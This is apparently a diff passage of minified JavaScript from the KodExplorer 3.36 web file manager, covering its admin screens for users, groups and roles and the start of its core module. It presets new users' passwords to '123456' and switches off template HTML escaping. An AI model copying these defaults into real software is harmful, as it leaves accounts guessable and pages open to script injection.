e=$(this).attr("id");o(e)}),$(".title_tooltip").tooltip({placement:"bottom",html:!0})},r=function(e){e.each(function(){var e=core.userSpaceHtml($(this).html());$(this).html(e)})},l=function(e){var t=G.user_path+e.path+"/home/";e.group_id&&(t=G.group_path+e.path+"/home/"),e.home_path&&(t=e.home_path),window.parent&&window.parent.Config&&"explorer"==window.parent.Config.pageApp?(window.parent.ui.path.list(t),Tips.tips(LNG.system_open_true_path,!0)):core.explorer(t)};return{init:n,sizeUse:r,openPath:l,dataList:core.tools.systemData,systemMember:t,systemGroup:i,systemRole:a}}),define("app/src/setting/system/system_member",[],function(e){var t,i,a=function(e){return void 0!=t?(n(e),void 0):($.ajax({url:"./index.php?system_member/get",dataType:"json",success:function(i){return i.code?(t=System.dataList(i,"member"),n(e),void 0):(Tips.tips(i),void 0)},error:function(){return!1}}),void 0)},n=function(a){""==a&&(a=i),i=a;var n=e("./tpl/user_list.html"),o=template.compile(n),s=o({LNG:LNG,select_group:a,user_list:t,group_list:System.systemGroup.getList(),role_list:System.systemRole.getList()});$(".user_liser_content").html(s),$(".button_aciton_muti button").addClass("disabled"),System.sizeUse($("#content_system_group .user_list_cell .space"))},o=function(e,n,o){if(void 0!=n){"object"!=typeof n&&(n=[n]);var s={del:LNG.system_member_remove_tips,status_set:"",role_set:LNG.system_member_set_role,group_reset:"",group_remove_from:LNG.system_member_remove_group,group_add:""},r=function(){$.ajax({url:"./index.php?system_member/do_action&action="+e,type:"POST",data:"user_id="+jsonEncode(n)+"¶m="+o,dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),$.dialog.list.share_dialog&&$.dialog.list.share_dialog.close(),t=void 0,a(i)}})};""==s[e]?r():$.dialog({id:"dialog_user_confirm",fixed:!0,icon:"question",padding:30,width:250,lock:!0,background:"#000",opacity:.2,content:s[e],ok:function(){r()},cancel:!0})}},s=function(e){var t={1:"read"};t[e]="read";var i={user_id:"",name:"",password:"123456",role:"default",group_info:t,config:{size_max:"1.5",size_use:"0"}};d(i,!0)},r=function(e){var t={1:"read"};t[e]="read";var i={user_id:"",name:"",password:"123456",role:"default",group_info:t,config:{size_max:"1.5",size_use:"0"}};d(i)},l=function(){var e=1073741824*parseFloat($(".size_max_set input").val()),t=core.fileSize(e);0==e||isNaN(e)?$(".size_max_set i").html(LNG.space_tips_default):$(".size_max_set i").html(t)},c=function(){var e=System.systemGroup.getList(),t=jsonDecode($("#group_info").attr("value")),i="";for(var a in t)e[a]&&(i+="read"==t[a]?''+e[a].name+"":''+e[a].name+"");$(".dlg_group_display .cell").html(i+'
      ')},d=function(n,s){var r=System.systemRole.getList(),d=e("./tpl/user.html");s&&(d=e("./tpl/user_import.html"));var u=template.compile(d),f=u({LNG:LNG,user_info:n,role_list:r}),h=$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,background:"#000",opacity:.1,title:"",padding:"0",fixed:!0,lock:!0,content:f});l(),System.sizeUse($(".share_view_info")),$("#group_info").val(jsonEncode(n.group_info)),$(".dlg_group_select").unbind("click").bind("click",function(){p($("#group_info").val(),function(e){$("#group_info").val(e),c()})}),c(),$(".input_line #name").textFocus();var m="./index.php?system_member/add";s?m="./index.php?system_member/add&isImport=1":""==n.name?$(".share_action .remove_button").hide():m="./index.php?system_member/edit&user_id="+n.user_id,$("#system_save").unbind("click").bind("click",function(){_()}),$(".select_drop_menu a").unbind("click").bind("click",function(){$(this).parent().parent().find("a").removeClass("selected"),$(this).addClass("selected"),$(".select_drop_menu .role_title").html($(this).html()),$("#role").val($(this).attr("data-role-id"))}),$(".remove_button").unbind("click").bind("click",function(){o("del",n.user_id,"")}),$(".dlg_goto_path").unbind("click").bind("click",function(){System.openPath(n)}),$(".content_box input").keyEnter(function(){_(!0)}),$("#system_save_goon_add").unbind("click").bind("click",function(){_(!0)}),$(".user_setting_more_btn").unbind("click").bind("click",function(){$(".user_setting_more").toggleClass("hidden")}),$(".select_path a.select_btn").unbind("click").bind("click",function(){var e=this;core.api.pathSelect({type:"folder",title:LNG.path_api_select_folder,firstPath:$(".select_path input").val()},function(t){$(e).parent().find("input").val(t)})}),$(".select_path a.reset").unbind("click").bind("click",function(){$(this).parent().find("input").val("")});var _=function(e){s&&(e=!1);var o={};$(".share_dialog .content_info [name]").each(function(){var e=urlEncode($(this).val());""!=e&&(o[$(this).attr("name")]=e)}),$.ajax({url:m,data:o,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(o){return Tips.close(o),o.code||"version_error"!=o.info?o.code?(t=void 0,a(i),s?h.close():""!=n.name||1!=e?h.close():$(".input_line #name").val("").textFocus(),void 0):(s&&$("#name").val(o.info),void 0):($.dialog({content:o.data,padding:"30px 25px",width:"300px",okVal:LNG.learn_more,ok:function(){window.open(core.versionUpdateVip)}}),void 0)}})}},p=function(t,i){var a=System.systemGroup.getListTree(),n=System.systemGroup.getList();t=jsonDecode(t),$.isArray(t)&&(t={});var o={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!1,addDiyDom:function(e,t){var i=12,a=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(a).after('').before(''+core.iconSmall("groupGuest")+"").removeClass("ico_docu").addClass("group_icon").remove(),t.level>=1){var o="";a.before(o)}$("#"+e+" #"+t.tId+"_a").attr("data_group_id",t.id)}},callback:{onClick:function(e,i,a){t||(t={}),$("#"+a.tId+"_a").hasClass("this")?delete t[a.id]:t[a.id]="read",l()}}},s=function(){var e=$("#user_group_select");$.fn.zTree.init(e,o,a);var t=$.fn.zTree.getZTreeObj("user_group_select");t.expandAll(!0)},r=function(){var a=e("./tpl/group_select.html"),n=template.compile(a),o=n({LNG:LNG});$.dialog({id:"select_usre_group_dlg",title:LNG.system_member_group_edit,padding:"0",width:540,lock:!0,background:"#fff",opacity:.1,fixed:!0,content:o,ok:function(){i(jsonEncode(t))},cancel:!0}),s()},l=function(){var e="";$("#user_group_select .curSelectedNode").removeClass("curSelectedNode"),$("#user_group_select a[data_group_id]").removeClass("this");var i=function(e){var t={read:LNG.system_role_read,write:LNG.system_role_write},i="",a='class="selected"',n="btn-primary";"read"==e&&(i='class="selected"',a="",n="btn-default");var o='
      ";return o};for(var a in t)n[a]&&($("#user_group_select a[data_group_id="+a+"]").addClass("this"),e+='
    • '+' '+n[a].name+""+' '+i(t[a])+"
    • ");$(".select_group_right").html(e)},c=function(){$(".right_content .group_self .remove").die("click").live("click",function(){var e=$(this).parent().attr("group-id");delete t[e],l()}),$(".group_self .dropdown-menu li").die("click").live("click",function(){var e=$(this).attr("data-info"),i=$(this).parent().attr("data-current"),a=$(this).parent().parent().parent().attr("group-id");i!=e&&(t[a]=e,l())})};r(),l(),c()},u=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},f=function(){$("body").click(u).contextmenu(u),$.contextMenu({zIndex:9999,selector:".user_action_menu",items:{user_list_edit:{name:LNG.edit,icon:"edit",accesskey:"e"},sep1:"--------",user_remove:{name:LNG.remove,icon:"trash",accesskey:"d"},user_status_close:{name:LNG.system_member_unuse,icon:"",accesskey:"c"},user_status_open:{name:LNG.system_member_use,icon:"",accesskey:"o"},sep2:"--------",group_remove_from:{name:LNG.system_member_group_remove,icon:"",accesskey:"g"},group_add:{name:LNG.system_member_group_insert,icon:"",accesskey:"a"},group_reset:{name:LNG.system_member_group_reset,icon:"",accesskey:"i"}},callback:function(e,t){var i=t.$trigger.attr("data-id");$("#content_system_group .group_id").html();var a=[i];m(e,a,"")}})},h=function(){$(".size_max_set input").live("input",l),$("#content_system_group .content [data-action]").live("click",function(e){if(!$(e.target).is("input")){var t=$(this),i=t.attr("data-action"),a=[];if($("#content_system_group .user_select:checked").each(function(){a.push($(this).parent().parent().attr("data-id"))}),"user_list_edit"==i){var n=t.parent().parent().attr("data-id");a=[n]}return m(i,a,t,e),!0}})},m=function(e,i,a,n){var l=$("#content_system_group .group_id").html();switch(e){case"user_add":r(l);break;case"user_import":s(l);break;case"group_remove_from":o("group_remove_from",i,l);break;case"group_add":p("{}",function(e){o("group_add",i,e)});break;case"group_reset":p("{}",function(e){o("group_reset",i,e)});break;case"role_set":var c=a.attr("data-role-id");o("role_set",i,c);break;case"user_status_open":o("status_set",i,1);break;case"user_status_close":o("status_set",i,0);break;case"user_remove":o("del",i,"");break;case"user_list_select":var u=a.find(".user_select");u.attr("checked")?u.removeAttr("checked"):u.attr("checked","true"),_();break;case"user_list_edit":d(t[i[0]]),stopPP(n);break;default:}},_=function(){$("#content_system_group .user_select:checked").length>=1?$(".button_aciton_muti button").removeClass("disabled"):$(".button_aciton_muti button").addClass("disabled"),$("#content_system_group .user_list_cell ").removeClass("selected"),$("#content_system_group .user_select:checked").each(function(){$(this).parent().parent().addClass("selected")})},v=function(){$("#content_system_group .user_select_set").live("click",function(){$(this).attr("checked")?$("#content_system_group .user_select").attr("checked","true"):$("#content_system_group .user_select").removeAttr("checked"),_()}),$("#content_system_group .user_select").live("click",function(){_()})};return v(),h(),f(),{resetList:function(){t=void 0},loadList:a,add:r}}),define("app/src/setting/system/tpl/user_list.html",[],'
      \n
      \n \n \n \n
      \n \n
      \n \n \n
      \n\n
      \n \n \n \n
      \n
      \n
      \n \n \n \n \n \n \n \n \n \n {{each user_list as v i}}\n {{if v && (select_group==\'1\' || v.group_info[select_group]) }}\n \n \n \n \n \n \n \n {{/if}}\n {{/each}}\n \n
      {{LNG.username}}{{LNG.system_member_role}}{{LNG.space_size_use}}{{LNG.system_member_group}}
      \n {{if v.user_id!=\'1\'}}{{/if}}\n \n {{v.name}}\n {{v.user_id}}\n {{role_list[v.role]}}{{v.config.size_use}}/{{v.config.size_max}}\n {{each v.group_info as group_read group_id}}\n {{if group_list[group_id]}}\n {{if group_read=="read"}}\n {{group_list[group_id][\'name\']}}\n {{else}}\n {{group_list[group_id][\'name\']}}\n {{/if}}\n {{else}}\n \n {{/if}}\n {{/each}}\n
      \n
      \n\n\n'),define("app/src/setting/system/tpl/user.html",[],'
      \n
      \n
      \n {{if !user_info.name}}\n {{LNG.system_member_add}}\n {{else}}\n {{user_info.name}} \n {{/if}}\n
      \n {{if user_info.name}}\n \n {{/if}} \n
      \n
      \n
      \n {{LNG.username}}:\n \n {{if user_info.name}}\n \n {{else}}\n {{LNG.username}}\n {{/if}}\n
      \n
      \n
      \n {{LNG.password}}:\n \n {{if user_info.name}}{{LNG.system_member_password_tips}}{{/if}}\n
      \n
      \n
      \n {{LNG.space_size}}:\n \n \n
      \n
      \n
      \n {{LNG.system_member_role}}:\n \n
      \n \n \n
      \n\n \n {{LNG.more}}\n
      \n
      \n\n
      \n
      \n {{LNG.system_set_home_path}}:\n \n \n \n \n \n \n \n
      \n
      \n
      \n\n
      \n {{LNG.system_member_group}}:\n \n
      \n
      \n \n
      \n
      \n
      \n
      \n\n \n
      \n'),define("app/src/setting/system/tpl/user_import.html",[],'
      \n
      \n
      \n {{LNG.system_member_import}}\n
      \n
      \n
      \n
      \n {{LNG.username}}:\n \n {{#LNG.system_member_import_desc}}\n
      \n
      \n
      \n {{LNG.password}}:\n \n
      \n
      \n
      \n {{LNG.space_size}}:\n \n \n
      \n
      \n
      \n {{LNG.system_member_role}}:\n \n
      \n \n \n
      \n\n \n {{LNG.system_member_role}}\n
      \n
      \n
      \n {{LNG.system_member_group}}:\n \n\n
      \n
      \n \n
      \n
      \n
      \n
      \n\n \n
      \n'),define("app/src/setting/system/tpl/group_select.html",[],'
      \n
      \n
      \n {{LNG.system_group_select}}:\n {{LNG.system_group_select_result}}:\n
      \n
      \n
      \n
      \n
        \n
      \n
      \n
      \n
      \n
      \n'),define("app/src/setting/system/system_group",[],function(e){var t,i,a,n,o=function(){p(),c(),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),$(".menuGroup").die("mouseenter").live("mouseenter",function(){$(this).addClass("hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("hover")}),G.is_root||$("[data-action=group_home").addClass("hidden")},s={view:{showLine:!1,selectedMulti:!1,dblClickExpand:!0,addDiyDom:function(e,t){var i=12,a=$("#"+e+" #"+t.tId+"_switch"),n=$("#"+e+" #"+t.tId+"_ico");if(n.before(a).before(''+core.iconSmall("groupGuest")+"").remove(),t.level>=1){var o="";a.before(o)}$("#"+e+" #"+t.tId+"_a").addClass("menuGroup").append("").attr("data_group_id",t.id)}},callback:{onClick:function(e,t,i){r(t,i.id)},beforeRightClick:function(e,t){r(e,t.id)}}},r=function(e,i){if("folderList"==e){n=i;var a=t.getNodeByParam("id",i,null);t.selectNode(a),g(i)}else"group_parent_select"==e&&($("#group_parent").val(i),$(".select_group").addClass("hidden"),m())},l=function(e){var t=function(e){for(var i=0;e.length>i;i++)void 0!=e[i]?(e[i].pid=e[i].parent_id,e[i].id=e[i].group_id,delete e[i].children,delete e[i].parent_id,delete e[i].group_id,e[i].child&&(e[i].children=e[i].child,delete e[i].child,t(e[i].children))):delete e[i]},i=[],a=$.extend(!0,{},e);for(var n in a){var o=a[n];if(a[o.parent_id])a[o.parent_id].child||(a[o.parent_id].child=[]),a[o.parent_id].child.push(a[o.group_id]);else{var s=a[o.group_id];s&&i.push(s)}}return t(i),i},c=function(){$.ajax({url:"./index.php?&system_group/get",dataType:"json",error:function(){$("#folderList").html('
      '+LNG.system_error+"
      ")},success:function(e){return e.code?(a=System.dataList(e,"group"),i=l(a),$.fn.zTree.init($("#folderList"),s,i),t=$.fn.zTree.getZTreeObj("folderList"),t.expandAll(!0),void 0==n&&(n="1"),r("folderList",n),0!=$("#group_parent_select").length&&_(),void 0):($("#folderList").html('
      '+LNG.system_error+"
      "),void 0)}})},d=function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")},p=function(){$("body").click(d).contextmenu(d),$.contextMenu({zIndex:9999,selector:".menuGroup",items:{add_child:{name:LNG.system_group_add,icon:"plus",accesskey:"u"},edit:{name:LNG.edit,icon:"edit",accesskey:"e"},sep1:"--------",add_user:{name:LNG.system_member_add,icon:"user",accesskey:"g"},sep2:"--------",remove:{name:LNG.remove,icon:"remove-sign",accesskey:"r"}},callback:function(e,i){var a=i.$trigger.attr("id");a=a.replace("_a","");var n=t.getNodeByTId(a);switch(e){case"add_child":var o=u();o.parent_id=n.id,v(o);break;case"edit":var o=u(n.id);v(o);break;case"add_user":System.systemMember.add(n.id);break;case"remove":f(n.id);break;default:}}}),$(".sub_menu").die("click").live("click",function(e){$(this).contextMenu({x:e.pageX,y:e.pageY})})},u=function(e){return void 0==e?{group_id:"",name:"",parent_id:"",children:"",config:{size_max:"0",size_use:""},path:"",create_time:""}:a[e]},f=function(e,i){var a=t.getSelectedNodes()[0],n=a.getParentNode(),o="./index.php?system_group/del&group_id="+e;$.dialog({id:"dialog_path_remove",fixed:!0,icon:"question",title:LNG.system_group_remove,padding:30,width:300,lock:!0,background:"#000",opacity:.3,content:LNG.system_group_remove_tips,ok:function(){$.ajax({url:o,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(t){Tips.close(t),System.systemMember.resetList(),r("folderList",n.id),c(),"function"==typeof i&&i(e)}})},cancel:!0})},h=function(){var e=1073741824*parseFloat($(".size_max_set input").val()),t=core.fileSize(e);0==e||isNaN(e)?$(".size_max_set i").html(LNG.space_tips_default):$(".size_max_set i").html(t)},m=function(){var e=$("#group_parent_select"),t=$("#group_parent").val();if(e.find("a.menuGroup").removeClass("curSelectedNode"),""==t)return $(".select_parent_content .group_title").html("is root"),!1;var i=u(t);return $(".select_parent_content .group_title").html(i.name),e.find("a[data_group_id="+t+"]").addClass("curSelectedNode"),!0},_=function(){var e=$("#group_parent_select");$.fn.zTree.init(e,s,i);var t=$.fn.zTree.getZTreeObj("group_parent_select");t.expandAll(!0),m()&&$(".select_parent_content .btn").unbind("click").bind("click",function(){$(".select_group").toggleClass("hidden")})},v=function(t){var i=e("./tpl/group.html"),a=template.compile(i),n=a({LNG:LNG,groupInfo:t}),o=$.dialog({id:"share_dialog",simple:!0,resize:!1,width:425,background:"#000",opacity:.1,title:"",padding:"0",fixed:!0,lock:!0,content:n});h(),System.sizeUse($(".share_view_info")),_(),$(".input_line #name").textFocus();var s="./index.php?system_group/add";if(""!=t.name)var s="./index.php?system_group/edit&group_id="+t.group_id;$("#system_save").unbind("click").bind("click",function(){r()}),$(".dlg_goto_path").unbind("click").bind("click",function(){System.openPath(t)}),$(".remove_button").unbind("click").bind("click",function(){f(t.group_id,function(){o.close()})}),$(".content_box input").keyEnter(function(){r(!0)}),$("#system_save_goon_add").unbind("click").bind("click",function(){r(!0)}),$(".user_setting_more_btn").unbind("click").bind("click",function(){$(".user_setting_more").toggleClass("hidden")}),$(".select_path a.select_btn").unbind("click").bind("click",function(){var e=this;core.api.pathSelect({type:"folder",title:LNG.path_api_select_folder,firstPath:$(".select_path input").val()},function(t){$(e).parent().find("input").val(t)})}),$(".select_path a.reset").unbind("click").bind("click",function(){$(this).parent().find("input").val("")});var r=function(e){var i="";$(".share_dialog .content_info input[name]").each(function(){var e=urlEncode($(this).val()); -""!=e&&(i+="&"+$(this).attr("name")+"="+e)}),$.ajax({url:s,data:i,type:"POST",dataType:"json",beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(i){return Tips.close(i),i.code||"version_error"!=i.info?(i.code&&(c(),""!=t.name||1!=e?o.close():setTimeout(function(){$(".input_line #name").val("").textFocus()},200)),void 0):($.dialog({content:i.data,padding:"30px 25px",width:"300px",okVal:LNG.learn_more,ok:function(){window.open(core.versionUpdateVip)}}),void 0)}})}},g=function(e){var t=u(e);t&&($(".group_title .group_title_span").html(t.name),$(".group_size").html(t.config.size_use+"/"+t.config.size_max),$("#content_system_group .group_id").html(e),System.sizeUse($(".group_size")),System.systemMember.loadList(e))},b=function(){$(".size_max_set input").live("input",h),$("#content_system_group .header_content [data-action]").live("click",function(){var e=$(this).attr("data-action"),t=$("#content_system_group .group_id").html(),i=u(t);switch(e){case"group_edit":v(i);break;case"group_home":System.openPath(i);break;case"group_add_child":var a=u();a.parent_id=t,v(a);break;default:}})};return b(),{init:o,getGroupInfo:u,getListTree:function(){return i},getList:function(){return a}}}),define("app/src/setting/system/tpl/group.html",[],'
      \n
      \n
      \n {{if !groupInfo.name}}\n {{LNG.system_group_create}}\n {{else}}\n {{groupInfo.name}}\n {{/if}}\n
      \n {{if groupInfo.name}}\n \n {{/if}}\n
      \n
      \n
      \n {{LNG.system_group_name}}:\n \n {{if groupInfo.name}}\n \n {{else}}\n {{LNG.name}}\n {{/if}}\n
      \n
      \n
      \n {{LNG.space_size}}:\n \n \n
      \n
      \n
      \n {{LNG.system_group_father}}:\n \n \n \n
      \n
      \n\n
      \n  \n {{LNG.more}}\n
      \n
      \n
      \n
      \n {{LNG.system_set_home_path}}:\n \n \n \n \n \n \n \n
      \n
      \n
      \n
      \n\n \n
      \n\n'),define("app/src/setting/system/system_role",[],function(){var e,t,i=function(){$.ajax({url:"index.php?system_role/get",dataType:"json",async:!1,success:function(i){return i.code?(e=i.data,a(),void 0==t&&(t="1"),n(t),void 0):(Tips.tips(i),void 0)}}),$(".group_editor .path_ext_tips").tooltip({placement:"bottom",html:!0}),$(".group_editor .warning").tooltip({placement:"bottom",html:!0})},a=function(){var t="";$.each(e,function(e,i){t+='
    • '+""+i.name+'
    • '}),$(".role_list_cell").html(t)},n=function(i){var a;t=i,$(".system_role li.role_cell").removeClass("select"),$("#content_system_role [data-action=role_add],#content_system_role [data-action=role_delete]").show(),void 0==i?(a={name:"",ext_not_allow:"php|jsp|html"},$("#content_system_role [data-action=role_add],#content_system_role [data-action=role_delete]").hide(),$("#content_system_role .role_title").html(LNG.system_role_add)):(a=e[i],$(".system_role [data-role-id="+i+"]").addClass("select"),$("#content_system_role .role_title").html(a.name),$("#content_system_role .role_id").html(i)),$(".group_editor #name").val(a.name).textFocus(),$(".group_editor #ext_not_allow").val(a.ext_not_allow),$(".group_editor .tag").removeClass("this"),$(".group_editor input").removeAttr("checked"),$(".group_editor .tag").each(function(){var e=$(this),t=e.attr("data-role");t=t.split(";"),t=t[0],a[t]&&(e.addClass("this"),e.find("input").attr("checked",!0))})},o=function(){var e=$(".group_editor #name").val(),a=$(".group_editor #ext_not_allow").val(),n={},o="index.php?system_role/add";return void 0==a&&(a=""),""==e?(Tips.tips(LNG.not_null,"error"),!1):($(".group_editor .tag.this").each(function(){for(var e=$(this).attr("data-role").split(";"),t=0;e.length>t;t++)n[e[t]]=1}),"1"==t&&n!={}&&(n={},Tips.tips(LNG.system_role_admin_set,"warning")),void 0!=t&&(o="index.php?system_role/edit&role_id="+t),$.ajax({url:o+"&name="+urlEncode(e)+"&ext_not_allow="+a,data:n,type:"POST",dataType:"json",success:function(e){Tips.tips(e),e.code&&(t=e.info,i(),System.systemMember.loadList(""))}}),void 0)},s=function(e){$.dialog({fixed:!0,icon:"question",padding:"30px 40px",drag:!0,title:LNG.warning,content:LNG.if_remove+c(e)+"?
      "+LNG.group_remove_tips,cancel:!0,ok:function(){$.ajax({url:"index.php?system_role/del&role_id="+e,async:!1,dataType:"json",success:function(e){Tips.tips(e),e.code&&(t=void 0,i(),System.systemMember.resetList(),System.systemMember.loadList(""))}})}})},r=function(){$(".group_editor .tag").each(function(){$(this).hasClass("this")?($(this).removeClass("this"),$(this).find("input").removeAttr("checked")):($(this).addClass("this"),$(this).find("input").attr("checked",!0)),$(".group_editor .combox:eq(0) .tag:eq(0)").hasClass("this")||($(".group_editor .combox:eq(0) .tag").removeClass("this"),$(".group_editor .combox:eq(0) .tag").find("input").removeAttr("checked")),$(".group_editor .combox:eq(1) .tag:eq(0)").hasClass("this")||($(".group_editor .combox:eq(1) .tag").removeClass("this"),$(".group_editor .combox:eq(1) .tag").find("input").removeAttr("checked"))})},l=function(){$(".group_editor .tag").live("click",function(){var e=$(this);if(select=!1,e.toggleClass("this"),e.hasClass("this")?(select=!0,e.find("input").attr("checked",!0)):(select=!1,e.find("input").removeAttr("checked")),e.parent().hasClass("combox")){var t=e.index();1==t&&0==select&&(e.parent().find(".tag").removeClass("this"),e.parent().find("input").removeAttr("checked")),1!=t&&1==select&&(e.parent().find(".tag:eq(0)").addClass("this"),e.parent().find("input:eq(0)").attr("checked",!0))}}),$(".system_role li.role_cell").live("click",function(){n($(this).attr("data-role-id"))}),$("#content_system_role [data-action]").live("click",function(e){var i=$(this).attr("data-action");switch($(this),i){case"role_add":n();break;case"role_delete":s(t);break;case"role_edit_save":o();break;case"revert_all":r();break;default:}stopPP(e)})},c=function(t){var i=e[t];return i?i.name:'null'},d=function(){var t={};return $.each(e,function(e,i){t[e]=i.name}),t};return l(),{init:i,getList:d,setSelect:n}}); \ No newline at end of file +/*! power by kodexplorer ver3.36(2016-12-30) [build 1483112392840] */ +define("app/src/setting/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","lib/contextMenu/jquery-contextMenu","../../common/core","./fav","./setting","./system/system_setting","./system/system","lib/ztree/ztree","./system/system_member","./system/system_group","./system/system_role"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),e("lib/contextMenu/jquery-contextMenu"),core=e("../../common/core"),Fav=e("./fav"),Setting=e("./setting"),e("./system/system_setting"),System=e("./system/system"),core.init()}),define("app/common/core",[],function(require,exports){search_box_tpl=require("./tpl/search.html"),search_list_tpl=require("./tpl/search_list.html"),upload_tpl=require("./tpl/upload.html");var search=require("./core.search"),tools=require("./core.tools"),upload=require("./core.upload"),api=require("./core.api"),playSound=require("./core.playSound");pathHashEncode=function(e){return hashEncode(e)},pathHashDecode=function(e){return hashDecode(e)};var initFirst=function(){if(window.require=require,template.config("escape",!1),template.config("compress",!0),template.helper("core",core),template.helper("window",window),"undefined"!=typeof G&&(1!=G.is_root&&$(".menu_system_setting").remove(),G.is_root||1==AUTH["system_member:get"]||1==AUTH["system_group:get"]||$(".menu_system_group").remove(),G.user_config&&"0"==G.user_config.animate_open&&($.dialog.defaults.animate=!1)),$("html").bind("click",function(e){if(0==$(e.target).parents(".context-menu-list").length)try{rightMenu.hidden()}catch(e){}}),$.dialog.defaults.animate&&loadRipple(["a","button",".context-menu-item","#picker",".menuShareButton",".menuRecycleButton",".section .list"],[".disabled",".disable",".ztree",".disable-ripple"]),$("a,img").attr("draggable","false"),$.ajaxSetup({headers:{"X-CSRF-TOKEN":Cookie.get("CSRF-TOKEN")}}),$(".common_footer [forceWap]").click(function(){var e=$(this).attr("forceWap");Cookie.set("forceWap",e),window.location.reload()}),core.setSkinDiy(),core.tools.init(),playserSupport(),"array"==$.type(window.kodReady))for(var e=0;window.kodReady.length>e;e++)window.kodReady[e]();titleTips()},playserSupport=function(){var e={ie:{music:["mp3","m4a","aac"],movie:["mp4","m4v","flv","mov","f4v"]},chrome:{music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"]}},t=!!window.ActiveXObject||"ActiveXObject"in window,i="chrome";t&&(i="ie"),core.filetypes.music=e[i].music,core.filetypes.movie=e[i].movie},titleTips=function(){require.async(["lib/poshytip/jquery.poshytip.js","lib/poshytip/skin.css"],function(){var e=$("[title]");e.poshytip({className:"ptips-skin",liveEvents:!0,slide:!1,alignTo:"cursor",alignX:"right",alignY:"bottom",showAniDuration:150,hideAniDuration:200,offsetY:10,offsetX:20,showTimeout:function(){var e=700;return $(this).attr("title-timeout")&&(e=parseInt($(this).attr("title-timeout"))),e},content:function(){var e=$(this).data("title.poshytip");if($(this).attr("title-data")){var t=$($(this).attr("title-data"));e=t.is("input")||t.is("textarea")?t.val():t.html()}return e=e?e:"",e.replace(/\n/g,"
      ")}}),$("body").bind("mousedown click",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()}),$("input,textarea").live("focus",function(){$(e).poshytip("hide"),$(".ptips-skin").remove()})})};return{search:search,init:initFirst,serverDwonload:upload.serverDwonload,upload:upload.upload,uploadInit:upload.init,playSound:playSound.playSound,playSoundFile:playSound.playSoundFile,tools:tools,api:api,filetypes:{image:["jpg","jpeg","png","bmp","gif","ico","svg","cur","webp"],music:["mp3","wav","m4a","aac","oga","ogg","webma"],movie:["mp4","m4v","flv","mov","f4v","ogv","webm","webmv"],doc:["doc","docx","docm","xls","xlsx","xlsb","xlsm","ppt","pptx","pptm"],text:["txt","textile","oexe","inc","csv","log","asc","tsv","lnk","url","webloc","meta","localized","xib","xsd","storyboard","plist","csproj","pch","pbxproj","local","xcscheme","manifest","vbproj","strings","jshintrc","sublime-project","readme","changes","changelog","version","license","changelog","abap","abc","as","asp","aspx","ada","adb","htaccess","htgroups","htgroups","htpasswd","asciidoc","adoc","asm","a","ahk","bat","cmd","cpp","c","cc","cxx","h","hh","hpp","ino","c9search_results","cirru","cr","clj","cljs","cbl","cob","coffee","cf","cson","cakefile","cfm","cs","css","curly","d","di","dart","diff","patch","dockerfile","dot","dummy","dummy","e","ge","ejs","ex","exs","elm","erl","hrl","frt","fs","ldr","ftl","gcode","feature",".gitignore","glsl","frag","vert","gbs","go","groovy","haml","hbs","handlebars","tpl","mustache","hs","hx","html","hta","htm","xhtml","eex","html.eex","erb","rhtml","html.erb","ini","inf","conf","cfg","prefs","io","jack","jade","java","ji","jl","jq","js","jsm","json","jsp","jsx","latex","ltx","bib","lean","hlean","less","liquid","lisp","ls","logic","lql","lsl","lua","lp","lucene","Makefile","makemakefile","gnumakefile","makefile","ocamlmakefile","make","md","markdown","mask","matlab","mz","mel","mc","mush","mysql","nix","nsi","nsh","m","mm","ml","mli","pas","p","pl","pm","pgsql","php","phtml","shtml","php3","php4","php5","phps","phpt","aw","ctp","module","ps1","praat","praatscript","psc","proc","plg","prolog","properties","proto","py","r","cshtml","rd","rhtml","rst","rb","ru","gemspec","rake","guardfile","rakefile","gemfile","rs","sass","scad","scala","scm","sm","rkt","oak","scheme","scss","sh","bash","bashrc","sjs","smarty","tpl","snippets","soy","space","sql","sqlserver","styl","stylus","svg","swift","tcl","tex","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return 